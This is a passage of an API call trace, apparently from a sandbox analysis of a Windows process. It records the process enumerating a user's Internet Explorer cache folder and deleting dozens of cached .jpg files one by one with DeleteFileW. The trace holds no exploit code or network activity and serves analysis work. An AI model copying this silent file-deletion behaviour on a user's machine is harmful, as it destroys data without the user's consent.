ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbd590e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbd590e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x9bf, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDDVe8[1].jpg", cAlternateFileName="BBDDVE~1.JPG")) returned 1 [0102.894] lstrlenW (lpString="BBDDVe8[1].jpg") returned 14 [0102.894] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDDVe8[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDDVe8[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDDVe8[1].jpg" [0102.894] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDDVe8[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbddve8[1].jpg")) returned 1 [0102.894] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b4b1e60, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b4b1e60, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b4b1e60, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDEk7R[1].jpg", cAlternateFileName="BBDEK7~1.JPG")) returned 1 [0102.894] lstrlenW (lpString="BBDEk7R[1].jpg") returned 14 [0102.895] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDEk7R[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEk7R[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEk7R[1].jpg" [0102.895] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEk7R[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdek7r[1].jpg")) returned 1 [0102.895] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbfba6e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbfba6e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbfba6e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7ff, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDEmYI[1].jpg", cAlternateFileName="BBDEMY~1.JPG")) returned 1 [0102.895] lstrlenW (lpString="BBDEmYI[1].jpg") returned 14 [0102.895] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDEmYI[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEmYI[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEmYI[1].jpg" [0102.895] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEmYI[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdemyi[1].jpg")) returned 1 [0102.895] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc4ef700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc4ef700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc704a40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2335, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDEop9[1].jpg", cAlternateFileName="BBDEOP~1.JPG")) returned 1 [0102.895] lstrlenW (lpString="BBDEop9[1].jpg") returned 14 [0102.895] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDEop9[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEop9[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEop9[1].jpg" [0102.895] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEop9[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdeop9[1].jpg")) returned 1 [0102.903] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbb43da0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbb43da0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbb43da0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x21e9, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDEsv0[1].jpg", cAlternateFileName="BBDESV~1.JPG")) returned 1 [0102.903] lstrlenW (lpString="BBDEsv0[1].jpg") returned 14 [0102.903] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDEsv0[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEsv0[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEsv0[1].jpg" [0102.903] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDEsv0[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdesv0[1].jpg")) returned 1 [0103.000] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe13e5700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xe13e5700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xe13e5700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4115, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDGDEz[1].jpg", cAlternateFileName="BBDGDE~1.JPG")) returned 1 [0103.000] lstrlenW (lpString="BBDGDEz[1].jpg") returned 14 [0103.000] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDGDEz[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDGDEz[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDGDEz[1].jpg" [0103.000] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDGDEz[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdgdez[1].jpg")) returned 1 [0103.006] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbb43da0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbb43da0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbb43da0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1bff, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDJGUg[1].jpg", cAlternateFileName="BBDJGU~1.JPG")) returned 1 [0103.006] lstrlenW (lpString="BBDJGUg[1].jpg") returned 14 [0103.006] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDJGUg[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJGUg[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJGUg[1].jpg" [0103.006] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJGUg[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdjgug[1].jpg")) returned 1 [0103.006] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf0bf420, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1aaba240, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aaba240, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x8ee, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDJJsJ[1].jpg", cAlternateFileName="BBDJJS~1.JPG")) returned 1 [0103.006] lstrlenW (lpString="BBDJJsJ[1].jpg") returned 14 [0103.006] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDJJsJ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJJsJ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJJsJ[1].jpg" [0103.006] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJJsJ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdjjsj[1].jpg")) returned 1 [0103.010] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b4b1e60, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b4b1e60, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b4b1e60, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x82d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDJurV[1].jpg", cAlternateFileName="BBDJUR~1.JPG")) returned 1 [0103.010] lstrlenW (lpString="BBDJurV[1].jpg") returned 14 [0103.010] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDJurV[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJurV[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJurV[1].jpg" [0103.010] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJurV[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdjurv[1].jpg")) returned 1 [0103.088] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1aa940e0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aa940e0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aaba240, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x89e, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDJZdv[2].jpg", cAlternateFileName="BBDJZD~2.JPG")) returned 1 [0103.088] lstrlenW (lpString="BBDJZdv[2].jpg") returned 14 [0103.088] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDJZdv[2].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJZdv[2].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJZdv[2].jpg" [0103.088] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDJZdv[2].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdjzdv[2].jpg")) returned 1 [0103.112] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf17db00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xa09, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDK0KJ[1].jpg", cAlternateFileName="BBDK0K~1.JPG")) returned 1 [0103.112] lstrlenW (lpString="BBDK0KJ[1].jpg") returned 14 [0103.112] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDK0KJ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDK0KJ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDK0KJ[1].jpg" [0103.112] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDK0KJ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdk0kj[1].jpg")) returned 1 [0103.139] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf62a2cc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf62a2cc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf62a2cc0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDK3QY[1].jpg", cAlternateFileName="BBDK3Q~1.JPG")) returned 1 [0103.139] lstrlenW (lpString="BBDK3QY[1].jpg") returned 14 [0103.139] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDK3QY[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDK3QY[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDK3QY[1].jpg" [0103.139] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDK3QY[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdk3qy[1].jpg")) returned 1 [0103.140] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b4b1e60, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b4b1e60, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b4b1e60, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDKcnv[2].jpg", cAlternateFileName="BBDKCN~2.JPG")) returned 1 [0103.140] lstrlenW (lpString="BBDKcnv[2].jpg") returned 14 [0103.140] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDKcnv[2].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKcnv[2].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKcnv[2].jpg" [0103.140] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKcnv[2].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdkcnv[2].jpg")) returned 1 [0103.436] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9a0e80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9a0e80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9a0e80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa09, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDKjtL[1].jpg", cAlternateFileName="BBDKJT~1.JPG")) returned 1 [0103.436] lstrlenW (lpString="BBDKjtL[1].jpg") returned 14 [0103.436] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDKjtL[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKjtL[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKjtL[1].jpg" [0103.436] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKjtL[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdkjtl[1].jpg")) returned 1 [0103.441] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd85d15e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd85d15e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd85f7740, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1d56, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDKo2P[1].jpg", cAlternateFileName="BBDKO2~1.JPG")) returned 1 [0103.441] lstrlenW (lpString="BBDKo2P[1].jpg") returned 14 [0103.441] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDKo2P[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKo2P[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKo2P[1].jpg" [0103.441] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKo2P[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdko2p[1].jpg")) returned 1 [0103.451] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbbdc320, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbbdc320, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbbdc320, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6da, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDKSfI[1].jpg", cAlternateFileName="BBDKSF~1.JPG")) returned 1 [0103.451] lstrlenW (lpString="BBDKSfI[1].jpg") returned 14 [0103.451] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDKSfI[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKSfI[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKSfI[1].jpg" [0103.451] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKSfI[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdksfi[1].jpg")) returned 1 [0103.451] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba856c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba856c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba856c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2ce8, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDKUWf[1].jpg", cAlternateFileName="BBDKUW~1.JPG")) returned 1 [0103.451] lstrlenW (lpString="BBDKUWf[1].jpg") returned 14 [0103.451] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDKUWf[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKUWf[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKUWf[1].jpg" [0103.451] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDKUWf[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdkuwf[1].jpg")) returned 1 [0103.501] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb8240c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb8240c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb8240c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x26ac, dwReserved0=0x300032, dwReserved1=0x370031, 